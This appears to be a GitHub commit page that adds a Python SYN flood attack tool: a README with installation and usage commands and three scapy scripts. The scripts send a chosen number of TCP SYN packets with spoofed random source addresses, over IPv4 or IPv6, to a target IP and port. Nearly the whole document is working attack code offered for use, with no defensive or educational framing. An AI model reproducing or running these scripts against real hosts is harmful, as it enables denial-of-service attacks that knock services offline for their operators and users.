Skip to content

Commit e5dab12

Browse files
committed
SYN-Flood-Update
1 parent 700e5b1 commit e5dab12

File tree

4 files changed

+277
-0
lines changed

4 files changed

+277
-0
lines changed

SYN-Flood/README.md

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
Python SYN Flood Attack Tool
2+
3+
You can start SYN Flood attack with this tool.
4+
5+
Simple and efficient.
6+
7+
## Dependencies
8+
```
9+
apt install python-scapy
10+
apt install python3-scapy
11+
```
12+
13+
## Installation
14+
15+
```
16+
git clone https://github.com/EmreOvunc/Python-SYN-Flood-Attack-Tool.git
17+
cd Python-SYN-Flood-Attack-Tool
18+
```
19+
20+
## Usage
21+
22+
```
23+
python3 py3_synflood_cmd.py -t 10.20.30.40 -p 8080 -c 5
24+
python3 py3_SYN-Flood.py
25+
python SYN-Flood.py
26+
```
27+
```
28+
usage: py3_synflood_cmd.py [-h] [--target TARGET] [--port PORT]
29+
[--count COUNT] [--version]
30+
31+
optional arguments:
32+
-h, --help show this help message and exit
33+
--target TARGET, -t TARGET
34+
target IP address
35+
--port PORT, -p PORT target port number
36+
--count COUNT, -c COUNT
37+
number of packets
38+
--version, -v show program's version number and exit
39+
40+
Usage: python3 py3_synflood_cmd.py -t 10.20.30.40 -p 8080 -c 1
41+
```
42+
43+
![alt tag](https://emreovunc.com/projects/python_synflood_attack_cmd.png)
44+
45+
![alt tag](https://emreovunc.com/projects/Syn_Flood_01.png)
46+
47+
![alt tag](https://emreovunc.com/projects/Syn_Flood_02.png)
48+
49+
# Update(2024/07/23)
50+
Add IPv6 support, you can use command like following
51+
```
52+
sudo python3 py3_synflood_cmd.py -t 2001:b030:7140:ac00:ed50:b959:3649:be45 -p 52916 -c 100 -f 6
53+
```

SYN-Flood/SYN-Flood.py

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
from scapy.all import *
2+
import os
3+
import sys
4+
import random
5+
6+
def randomIP():
7+
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
8+
return ip
9+
10+
def randInt():
11+
x = random.randint(1000,9000)
12+
return x
13+
14+
def SYN_Flood(dstIP,dstPort,counter):
15+
total = 0
16+
print ("Packets are sending ...")
17+
for x in range (0,counter):
18+
s_port = randInt()
19+
s_eq = randInt()
20+
w_indow = randInt()
21+
22+
IP_Packet = IP ()
23+
IP_Packet.src = randomIP()
24+
IP_Packet.dst = dstIP
25+
26+
TCP_Packet = TCP ()
27+
TCP_Packet.sport = s_port
28+
TCP_Packet.dport = dstPort
29+
TCP_Packet.flags = "S"
30+
TCP_Packet.seq = s_eq
31+
TCP_Packet.window = w_indow
32+
33+
send(IP_Packet/TCP_Packet, verbose=0)
34+
total+=1
35+
sys.stdout.write("\nTotal packets sent: %i\n" % total)
36+
37+
38+
def info():
39+
os.system("clear")
40+
print ("#############################")
41+
print ("# Welcome to SYN Flood Tool #")
42+
print ("#############################")
43+
44+
dstIP = raw_input ("\nTarget IP : ")
45+
dstPort = input ("Target Port : ")
46+
47+
return dstIP,int(dstPort)
48+
49+
50+
def main():
51+
dstIP,dstPort = info()
52+
counter = input ("How many packets do you want to send : ")
53+
SYN_Flood(dstIP,dstPort,int(counter))
54+
55+
main()

SYN-Flood/py3-SYN-Flood_cmd.py

Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
from sys import stdout
2+
from scapy.all import *
3+
from random import randint
4+
from argparse import ArgumentParser
5+
6+
7+
def randomIP():
8+
ip = ".".join(map(str, (randint(0, 255)for _ in range(4))))
9+
return ip
10+
11+
12+
def randInt():
13+
x = randint(1000, 9000)
14+
return x
15+
16+
17+
def SYN_Flood(dstIP, dstPort, counter):
18+
total = 0
19+
print ("IPv4 Packets are sending ...")
20+
21+
for x in range (0, counter):
22+
s_port = randInt()
23+
s_eq = randInt()
24+
w_indow = randInt()
25+
26+
IP_Packet = IP ()
27+
IP_Packet.src = randomIP()
28+
IP_Packet.dst = dstIP
29+
30+
TCP_Packet = TCP ()
31+
TCP_Packet.sport = s_port
32+
TCP_Packet.dport = int(dstPort)
33+
TCP_Packet.flags = "S"
34+
TCP_Packet.seq = s_eq
35+
TCP_Packet.window = w_indow
36+
37+
send(IP_Packet/TCP_Packet, verbose=0)
38+
total+=1
39+
40+
stdout.write("\nTotal packets sent: %i\n" % total)
41+
42+
def SYN_Flood_v6(dstIP, dstPort, counter):
43+
total = 0
44+
print ("IPv6 Packets are sending ...")
45+
46+
for x in range (0, counter):
47+
s_port = randInt()
48+
s_eq = randInt()
49+
w_indow = randInt()
50+
51+
IP_Packet = IPv6 ()
52+
IP_Packet.src = RandIP6()
53+
IP_Packet.dst = dstIP
54+
55+
TCP_Packet = TCP ()
56+
TCP_Packet.sport = s_port
57+
TCP_Packet.dport = int(dstPort)
58+
TCP_Packet.flags = "S"
59+
TCP_Packet.seq = s_eq
60+
TCP_Packet.window = w_indow
61+
62+
send(IP_Packet/TCP_Packet, verbose=0)
63+
total+=1
64+
65+
stdout.write("\nTotal packets sent: %i\n" % total)
66+
67+
68+
def main():
69+
parser = ArgumentParser()
70+
parser.add_argument('--target', '-t', help='target IP address')
71+
parser.add_argument('--port', '-p', help='target port number')
72+
parser.add_argument('--count', '-c', help='number of packets')
73+
parser.add_argument('--format', '-f', help='format of target(Can ignore, default use ipv4)')
74+
parser.add_argument('--version', '-v', action='version', version='Python SynFlood Tool v2.0.1\n@EmreOvunc')
75+
parser.epilog = "Usage: python3 py3_synflood_cmd.py -t 10.20.30.40 -p 8080 -c 1 -f 6"
76+
77+
args = parser.parse_args()
78+
79+
if args.target is not None:
80+
if args.port is not None:
81+
if args.count is None:
82+
print('[!]You did not use --counter/-c parameter, so 1 packet will be sent..')
83+
SYN_Flood(args.target, args.port, 1)
84+
85+
else:
86+
print(f"args.format = {args.format}")
87+
if args.format == '6':
88+
SYN_Flood_v6(args.target, args.port, int(args.count))
89+
else:
90+
SYN_Flood(args.target, args.port, int(args.count))
91+
92+
else:
93+
print('[-]Please, use --port/-p to give target\'s port!')
94+
print('[!]Example: -p 445')
95+
print('[?] -h for help')
96+
exit()
97+
else:
98+
print('''usage: py3_synflood_cmd.py [-h] [--target TARGET] [--port PORT]
99+
[--count COUNT] [--version]
100+
optional arguments:
101+
-h, --help show this help message and exit
102+
--target TARGET, -t TARGET
103+
target IP address
104+
--port PORT, -p PORT target port number
105+
--count COUNT, -c COUNT
106+
number of packets
107+
--version, -v show program's version number and exit''')
108+
exit()
109+
110+
main()

SYN-Flood/py3_SYN-Flood.py

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
from os import system
2+
from sys import stdout
3+
from scapy.all import *
4+
from random import randint
5+
6+
def randomIP():
7+
ip = ".".join(map(str, (randint(0,255)for _ in range(4))))
8+
return ip
9+
10+
11+
def randInt():
12+
x = randint(1000,9000)
13+
return x
14+
15+
16+
def SYN_Flood(dstIP,dstPort,counter):
17+
total = 0
18+
print ("Packets are sending ...")
19+
20+
for x in range (0,counter):
21+
s_port = randInt()
22+
s_eq = randInt()
23+
w_indow = randInt()
24+
25+
IP_Packet = IP ()
26+
IP_Packet.src = randomIP()
27+
IP_Packet.dst = dstIP
28+
29+
TCP_Packet = TCP ()
30+
TCP_Packet.sport = s_port
31+
TCP_Packet.dport = dstPort
32+
TCP_Packet.flags = "S"
33+
TCP_Packet.seq = s_eq
34+
TCP_Packet.window = w_indow
35+
36+
send(IP_Packet/TCP_Packet, verbose=0)
37+
total+=1
38+
39+
stdout.write("\nTotal packets sent: %i\n" % total)
40+
41+
42+
def info():
43+
system("clear")
44+
print ("#####################################")
45+
print ("# Welcome to Python3 SYN Flood Tool #")
46+
print ("#####################################")
47+
48+
dstIP = input ("\nTarget IP : ")
49+
dstPort = input ("Target Port : ")
50+
51+
return dstIP,int(dstPort)
52+
53+
54+
def main():
55+
dstIP,dstPort = info()
56+
counter = input ("How many packets do you want to send : ")
57+
SYN_Flood(dstIP,dstPort,int(counter))
58+
59+
main()

0 commit comments

Comments
 (0)